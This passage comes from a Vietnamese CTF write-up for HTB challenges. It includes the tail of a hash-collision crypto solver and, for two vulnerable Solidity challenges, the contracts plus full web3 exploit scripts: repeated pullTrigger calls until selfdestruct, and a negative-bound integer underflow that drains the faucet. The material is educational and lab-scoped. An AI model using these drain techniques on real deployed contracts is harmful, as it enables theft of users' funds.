    io.recvuntil(<span class="hljs-string">b' = '</span>)
    server_hash = l2b(int(io.recvline().strip().decode(), <span class="hljs-number">16</span>))

    m1, m2 = server_msg &gt;&gt; N, server_msg &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)
    H1, H2 = b2l(server_hash[:<span class="hljs-number">16</span>]) ^ m1, b2l(server_hash[<span class="hljs-number">16</span>:]) ^ m2

    H = int2pre(H1) + int2pre(H2)
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> H: <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

    bd = get_b_and_d(H, bd, visited)
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> bd: <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>
    b, d = bd
    <span class="hljs-keyword">assert</span> H.mod(int2pre(<span class="hljs-number">2</span>**b + <span class="hljs-number">2</span>**d)) == <span class="hljs-number">0</span>

    f = H / int2pre(<span class="hljs-number">2</span>**b + <span class="hljs-number">2</span>**d)
    numer = int2pre(H1) - f * int2pre(<span class="hljs-number">2</span>**b)
    ac = get_a_and_c(numer)
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ac: <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>
    <span class="hljs-keyword">for</span> (a, c) <span class="hljs-keyword">in</span> ac:
        e = numer / int2pre(<span class="hljs-number">2</span>**a)
        e = pre2int(PR(e))
        f = pre2int(PR(f))
        <span class="hljs-keyword">if</span> sorted([a, b, c, d]) <span class="hljs-keyword">in</span> used_states: <span class="hljs-keyword">continue</span>
        <span class="hljs-keyword">if</span> H1 == _ROL_(e, a) ^ _ROL_(f, b) <span class="hljs-keyword">and</span> H2 == _ROL_(e, c) ^ _ROL_(f, d):
            used_states.append(sorted([a, b, c, d]))
            state = a, b, c, d, e, f
            <span class="hljs-keyword">return</span> state

bd = get_all_bd()
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    used_states = []
    visited = []
    done = <span class="hljs-number">0</span>
    io = process([<span class="hljs-string">'python3'</span>, <span class="hljs-string">'server.py'</span>])
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
        state = solve(io, bd, used_states, visited)
        <span class="hljs-keyword">if</span> state:
            a, b, c, d, e, f = state
            io.sendlineafter(<span class="hljs-string">b' :: '</span>, <span class="hljs-string">f'<span class="hljs-subst">{a}</span>,<span class="hljs-subst">{b}</span>,<span class="hljs-subst">{c}</span>,<span class="hljs-subst">{d}</span>,<span class="hljs-subst">{e}</span>,<span class="hljs-subst">{f}</span>'</span>.encode())
            done += <span class="hljs-number">1</span>
            print(<span class="hljs-string">f'Finish round number <span class="hljs-subst">{done}</span> !!!'</span>)

            <span class="hljs-keyword">if</span> done == <span class="hljs-number">3</span>:
                io.recvline()
                print(io.recvline().decode())
                exit()
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">'Try again!!!'</span>)
            io.close()
            <span class="hljs-keyword">break</span>
</code></pre>
<p>(Code hơi dài và khó viết nên quả thật bài này <code>Insane</code> cũng đáng)</p>
<ul>
<li>Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác <code>ROL</code>, <code>GF(2**128)</code> và việc tìm <code>collision</code> cho hàm băm nên bài này thực sự rất hay, xứng đáng 💯</li>
</ul>
<h3 id="heading-flag-22">Flag</h3>
<p><code>HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}</code></p>
<hr />
<h1 id="heading-blockchain">BlockChain</h1>
<h2 id="heading-introduction">Introduction</h2>
<p>Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh <code>Mạnh AT18</code>, anh <code>lilthawg29</code> với ông bạn lỏ <code>Thụy AT20</code>. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading ❤️</p>
<h2 id="heading-russian-roulette">Russian Roulette</h2>
<h3 id="heading-description-9">Description</h3>
<ul>
<li><code>Setup.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.23;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">RussianRoulette</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./RussianRoulette.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Setup</span> </span>{
    RussianRoulette <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> TARGET;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        TARGET <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> RussianRoulette{<span class="hljs-built_in">value</span>: <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>}();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSolved</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(TARGET).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }
}
</code></pre>
<ul>
<li><code>RussianRoulette.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.23;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">RussianRoulette</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">// i need more bullets</span>
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pullTrigger</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>)) <span class="hljs-operator">%</span> <span class="hljs-number">10</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">7</span>) {
            <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)); <span class="hljs-comment">// 💀</span>
        } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-string">"im SAFU ... for now"</span>;
        }
    }
}
</code></pre>
<h3 id="heading-solution-9">Solution</h3>
<p>Bài này thì có hai file, file <code>Setup.sol</code> sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck):</p>
<ul>
<li><p>Khai báo một contract tên <code>Setup</code></p>
</li>
<li><p>Khai báo một biến TARGET (biến <code>immutable</code>, tạm hiểu là không thể thay đổi, giống với chức năng của biến <code>constant</code> ). Bên cạnh đó <code>TARGET</code> thuộc kiểu <code>RussianRoulette</code> (đã import từ file <code>RussianRoulette.sol</code>)</p>
</li>
<li><p>Khai báo một hàm khởi tạo, trong hàm này gán <code>TARGET</code> bằng địa chỉ của <code>RussianRoulette</code> và 10 <code>Ether</code> khởi tạo</p>
</li>
<li><p>Khai báo hàm <code>isSolved()</code>, dùng để kiểm tra số dư của <code>TARGET</code>, nếu bằng 0 thì trả về <code>True</code></p>
</li>
</ul>
<p>Mình sẽ đi sâu một chút vào phân tích file <code>RussianRoulette.sol</code>:</p>
<ul>
<li><p>Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui 🐒)</p>
</li>
<li><p>Khai báo hàm <code>pullTrigger()</code>, hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (<code>selfdestruct</code>), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòng <code>im SAFU ... for now</code> (thực ra chẳng <code>SAFU</code> nổi đâu vì mình sắp cho nó đi bán muối rồi 😈 )</p>
</li>
</ul>
<p>Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng <code>TARGET</code> kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi <code>Spawn Docker</code> của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi.</p>
<p>Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là <code>pullTrigger()</code> vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu <code>TARGET</code> kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào 🐧, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần <code>pullTrigger()</code> cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít 🐧</p>
<p>Full script:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">import</span> <span class="hljs-title">eth_account</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">web3</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">Web3</span>

<span class="hljs-title">w3</span> <span class="hljs-operator">=</span> <span class="hljs-title">Web3</span>(<span class="hljs-title">Web3</span>.<span class="hljs-title">HTTPProvider</span>(<span class="hljs-string">'http://94.237.53.81:39438'</span>))

<span class="hljs-title">Private_key</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38'</span>
<span class="hljs-title">Address</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0'</span>
<span class="hljs-title">Target_contract</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0x251478952cDF5819e5C901db75a1E12B65Af3122'</span>
<span class="hljs-title">Setup_contract</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0x1176a5a7413241ECA579B5d38290b8fe31e24FE9'</span>

<span class="hljs-title">my_account</span> <span class="hljs-operator">=</span> <span class="hljs-title">eth_account</span>.<span class="hljs-title">Account</span>.<span class="hljs-title">from_key</span>(<span class="hljs-title">Private_key</span>)

<span class="hljs-title">SETUP_CONTRACT_ABI</span> <span class="hljs-operator">=</span> [
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"nonpayable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"constructor"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"TARGET"</span>,
        <span class="hljs-string">"outputs"</span>: [
            {
                <span class="hljs-string">"internalType"</span>: <span class="hljs-string">"contract RussianRoulette"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>,
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"address"</span>
            }
        ],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"view"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"isSolved"</span>,
        <span class="hljs-string">"outputs"</span>: [
            {
                <span class="hljs-string">"internalType"</span>: <span class="hljs-string">"bool"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>,
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"bool"</span>
            }
        ],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"view"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    }
]

<span class="hljs-title">TARGET_CONTRACT_ABI</span> <span class="hljs-operator">=</span> [
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"payable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"constructor"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"pullTrigger"</span>,
        <span class="hljs-string">"outputs"</span>: [
            {
                <span class="hljs-string">"internalType"</span>: <span class="hljs-string">"string"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>,
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"string"</span>
            }
        ],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"payable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    }
]

<span class="hljs-title">Setup_contract</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title"><span class="hljs-keyword">contract</span></span>(<span class="hljs-title"><span class="hljs-keyword">address</span></span><span class="hljs-operator">=</span><span class="hljs-title">Setup_contract</span>, <span class="hljs-title"><span class="hljs-built_in">abi</span></span><span class="hljs-operator">=</span><span class="hljs-title">SETUP_CONTRACT_ABI</span>)
<span class="hljs-title">Target_contract</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title"><span class="hljs-keyword">contract</span></span>(<span class="hljs-title"><span class="hljs-keyword">address</span></span><span class="hljs-operator">=</span><span class="hljs-title">Target_contract</span>, <span class="hljs-title"><span class="hljs-built_in">abi</span></span><span class="hljs-operator">=</span><span class="hljs-title">TARGET_CONTRACT_ABI</span>)

<span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">True</span>:
    <span class="hljs-title">is_solved</span> <span class="hljs-operator">=</span> <span class="hljs-title">Setup_contract</span>.<span class="hljs-title">functions</span>.<span class="hljs-title">isSolved</span>().<span class="hljs-title">call</span>()
    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">is_solved</span>:
        <span class="hljs-title">print</span>(<span class="hljs-string">"Target contract is already solved!"</span>)
        <span class="hljs-title"><span class="hljs-keyword">break</span></span>
    <span class="hljs-title"><span class="hljs-built_in">tx</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">Target_contract</span>.<span class="hljs-title">functions</span>.<span class="hljs-title">pullTrigger</span>().<span class="hljs-title">build_transaction</span>({
        <span class="hljs-string">'gas'</span>: 200000,
        <span class="hljs-string">'gasPrice'</span>: <span class="hljs-title">w3</span>.<span class="hljs-title">to_wei</span>(<span class="hljs-string">'5'</span>, <span class="hljs-string">'gwei'</span>),
        <span class="hljs-string">'nonce'</span>: <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">get_transaction_count</span>(<span class="hljs-title">Address</span>),
    })
    <span class="hljs-title">signed_tx</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">account</span>.<span class="hljs-title">sign_transaction</span>(<span class="hljs-title"><span class="hljs-built_in">tx</span></span>, <span class="hljs-title">Private_key</span>)
    <span class="hljs-title">tx_hash</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">send_raw_transaction</span>(<span class="hljs-title">signed_tx</span>.<span class="hljs-title">rawTransaction</span>)
    <span class="hljs-title">print</span>(<span class="hljs-string">"Transaction sent:"</span>, <span class="hljs-title">tx_hash</span>.<span class="hljs-title">hex</span>())
</code></pre>
<p>(để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ 🐒)</p>
<p>Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done 💰</p>
<ul>
<li><img src="https://hackmd.io/_uploads/SJqyX6WA6.png" alt="TARGET" /></li>
</ul>
<h3 id="heading-flag-23">Flag</h3>
<p><code>HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}</code></p>
<h3 id="heading-note">Note</h3>
<p>Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là <code>Foundry</code> nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi 🐒</p>
<h2 id="heading-lucky-faucet">Lucky Faucet</h2>
<h3 id="heading-description-10">Description</h3>
<ul>
<li><code>Setup.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.7.6;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">LuckyFaucet</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./LuckyFaucet.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Setup</span> </span>{
    LuckyFaucet <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> TARGET;

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> INITIAL_BALANCE <span class="hljs-operator">=</span> <span class="hljs-number">500</span> <span class="hljs-literal">ether</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        TARGET <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> LuckyFaucet{<span class="hljs-built_in">value</span>: INITIAL_BALANCE}();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSolved</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(TARGET).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> INITIAL_BALANCE <span class="hljs-operator">-</span> <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>;
    }
}
</code></pre>
<ul>
<li><code>LuckyFaucet</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.7.6;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LuckyFaucet</span> </span>{
    <span class="hljs-keyword">int64</span> <span class="hljs-keyword">public</span> upperBound;
    <span class="hljs-keyword">int64</span> <span class="hljs-keyword">public</span> lowerBound;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">// start with 50M-100M wei Range until player changes it</span>
        upperBound <span class="hljs-operator">=</span> <span class="hljs-number">100_000_000</span>;
        lowerBound <span class="hljs-operator">=</span>  <span class="hljs-number">50_000_000</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setBounds</span>(<span class="hljs-params"><span class="hljs-keyword">int64</span> _newLowerBound, <span class="hljs-keyword">int64</span> _newUpperBound</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(_newUpperBound <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> <span class="hljs-number">100_000_000</span>, <span class="hljs-string">"100M wei is the max upperBound sry"</span>);
        <span class="hljs-built_in">require</span>(_newLowerBound <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span>  <span class="hljs-number">50_000_000</span>,  <span class="hljs-string">"50M wei is the max lowerBound sry"</span>);
        <span class="hljs-built_in">require</span>(_newLowerBound <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> _newUpperBound);
        <span class="hljs-comment">// why? because if you don't need this much, pls lower the upper bound :)</span>
        <span class="hljs-comment">// we don't have infinite money glitch.</span>
        upperBound <span class="hljs-operator">=</span> _newUpperBound;
        lowerBound <span class="hljs-operator">=</span> _newLowerBound;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendRandomETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span>, <span class="hljs-keyword">uint64</span></span>) </span>{
        <span class="hljs-keyword">int256</span> randomInt <span class="hljs-operator">=</span> <span class="hljs-keyword">int256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>)); <span class="hljs-comment">// "but it's not actually random 🤓"</span>
        <span class="hljs-comment">// we can safely cast to uint64 since we'll never </span>
        <span class="hljs-comment">// have to worry about sending more than 2**64 - 1 wei </span>
        <span class="hljs-keyword">uint64</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(randomInt <span class="hljs-operator">%</span> (upperBound <span class="hljs-operator">-</span> lowerBound <span class="hljs-operator">+</span> <span class="hljs-number">1</span>) <span class="hljs-operator">+</span> lowerBound); 
        <span class="hljs-keyword">bool</span> sent <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">send</span>(amountToSend);
        <span class="hljs-keyword">return</span> (sent, amountToSend);
    }
}
</code></pre>
<h3 id="heading-solution-10">Solution</h3>
<ul>
<li><p>Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui.</p>
</li>
<li><p>Trước tiên đọc file <code>Setup.sol</code> biết được:</p>
<ul>
<li><p><code>TARGET</code> của mình có 500 <code>Ether</code> khởi tạo</p>
</li>
<li><p>Lấy được flag khi tiền của <code>TARGET</code> bị hụt đi 10 <code>Ether</code></p>
</li>
</ul>
</li>
<li><p>Còn với file <code>LuckyFaucet</code>:</p>
<ul>
<li><p>Khai báo hai mức <code>Bound</code>, một là max một là min</p>
</li>
<li><p>Khai báo một hàm <code>setBounds()</code> cho phép mình thay đổi <code>Bound</code></p>
</li>
<li><p>Khai báo hàm <code>sendRandomETH()</code>. Hàm này như một cái vòi nước từ túi của <code>TARGET</code>, dùng để gửi tiền cho mình nhưng là tiền trong giới hạn <code>Bound</code> thôi.</p>
</li>
</ul>
</li>
<li><p>Qua phân tích trên, cộng với việc hàm <code>setBounds()</code> là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy đi <code>Ether</code> từ <code>TARGET</code>, mà tiền của <code>TARGET</code> phụ thuộc vào <code>Bound</code> do mình set, vậy nên đây là hướng đi.</p>
</li>
<li><p>Tất nhiên, câu hỏi sẽ là <code>Bound</code> như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi:</p>
</li>
</ul>
<pre><code class="lang-sol"><span class="hljs-keyword">uint64</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(randomInt <span class="hljs-operator">%</span> (upperBound <span class="hljs-operator">-</span> lowerBound <span class="hljs-operator">+</span> <span class="hljs-number">1</span>) <span class="hljs-operator">+</span> lowerBound)
</code></pre>
<ul>
<li>Mình cần làm sao cho lượng <code>amountToSend</code> càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một số <code>k &lt; 0</code> ở dạng <code>uint64</code>, số trả về sẽ cực lớn, cụ thể là <code>uint64(k) = 2**64 + k</code>. Sure về hướng exploit rồi, giờ thì tới code thôi:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">import</span> <span class="hljs-title">eth_account</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">web3</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">Web3</span>

<span class="hljs-title">RPC</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">private_key</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title"><span class="hljs-keyword">address</span></span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">target_contract_address</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>

<span class="hljs-title">w3</span> <span class="hljs-operator">=</span> <span class="hljs-title">Web3</span>(<span class="hljs-title">Web3</span>.<span class="hljs-title">HTTPProvider</span>(<span class="hljs-title">RPC</span>))

<span class="hljs-title">target_contract_abi</span> <span class="hljs-operator">=</span> [
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"payable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"constructor"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"upperBound"</span>,
        <span class="hljs-string">"outputs"</span>: [{<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"int64"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"int64"</span>}],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"view"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"lowerBound"</span>,
        <span class="hljs-string">"outputs"</span>: [{<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"int64"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"int64"</span>}],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"view"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"sendRandomETH"</span>,
        <span class="hljs-string">"outputs"</span>: [{<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"bool"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"bool"</span>}, {<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"uint64"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">""</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"uint64"</span>}],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"nonpayable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    },
    {
        <span class="hljs-string">"inputs"</span>: [{<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"int64"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">"_newLowerBound"</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"int64"</span>}, {<span class="hljs-string">"internalType"</span>: <span class="hljs-string">"int64"</span>, <span class="hljs-string">"name"</span>: <span class="hljs-string">"_newUpperBound"</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"int64"</span>}],
        <span class="hljs-string">"name"</span>: <span class="hljs-string">"setBounds"</span>,
        <span class="hljs-string">"outputs"</span>: [],
        <span class="hljs-string">"stateMutability"</span>: <span class="hljs-string">"nonpayable"</span>,
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"function"</span>
    }
]

<span class="hljs-title">my_account</span> <span class="hljs-operator">=</span> <span class="hljs-title">eth_account</span>.<span class="hljs-title">Account</span>.<span class="hljs-title">from_key</span>(<span class="hljs-title">private_key</span>)
<span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">default_account</span> <span class="hljs-operator">=</span> <span class="hljs-title">my_account</span>.<span class="hljs-title"><span class="hljs-keyword">address</span></span>
<span class="hljs-title">target_contract</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title"><span class="hljs-keyword">contract</span></span>(<span class="hljs-title"><span class="hljs-keyword">address</span></span><span class="hljs-operator">=</span><span class="hljs-title">target_contract_address</span>, <span class="hljs-title"><span class="hljs-built_in">abi</span></span><span class="hljs-operator">=</span><span class="hljs-title">target_contract_abi</span>)
<span class="hljs-title">target_contract</span>.<span class="hljs-title">functions</span>.<span class="hljs-title">setBounds</span>(<span class="hljs-operator">-</span>10000000000000000, 100000000).<span class="hljs-title">transact</span>()

<span class="hljs-title">tx_hash</span> <span class="hljs-operator">=</span> <span class="hljs-title">target_contract</span>.<span class="hljs-title">functions</span>.<span class="hljs-title">sendRandomETH</span>().<span class="hljs-title">transact</span>()
